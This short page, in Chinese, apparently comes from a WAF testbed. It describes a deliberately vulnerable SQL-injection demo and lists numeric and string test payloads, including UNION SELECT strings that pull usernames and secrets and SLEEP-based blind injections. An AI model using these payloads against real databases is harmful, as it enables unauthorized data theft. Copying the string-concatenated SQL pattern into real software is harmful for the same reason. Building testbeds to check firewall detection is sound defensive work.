🛡️ WAF Testbed MODE: VULN

SQL 注入

按 id 查询用户 / 按关键词搜索文章。vuln 模式下参数直接拼进 SQL;safe 模式下使用预处理。

① 数字型 / UNION —— 按 id 查用户

测试 payload: 1 1 OR 1=1 0 UNION SELECT 1,username,secret,4 FROM users 1 AND (SELECT 1 FROM (SELECT SLEEP(3))x) 1' OR '1'='1

② 字符串型 —— 搜索文章标题

测试 payload: WAF %' UNION SELECT id,username,secret FROM users -- - ' OR SLEEP(3)-- -

本靶场仅用于测试 你自己的 WAF(Cloudflare / JANUSEC 派生)的拦截与告警能力。 请只在你拥有或获得书面授权的环境中使用。

切换模式:环境变量 WAF_TESTBED_MODE=vuln(默认,含漏洞) 或 safe(加固对照组)。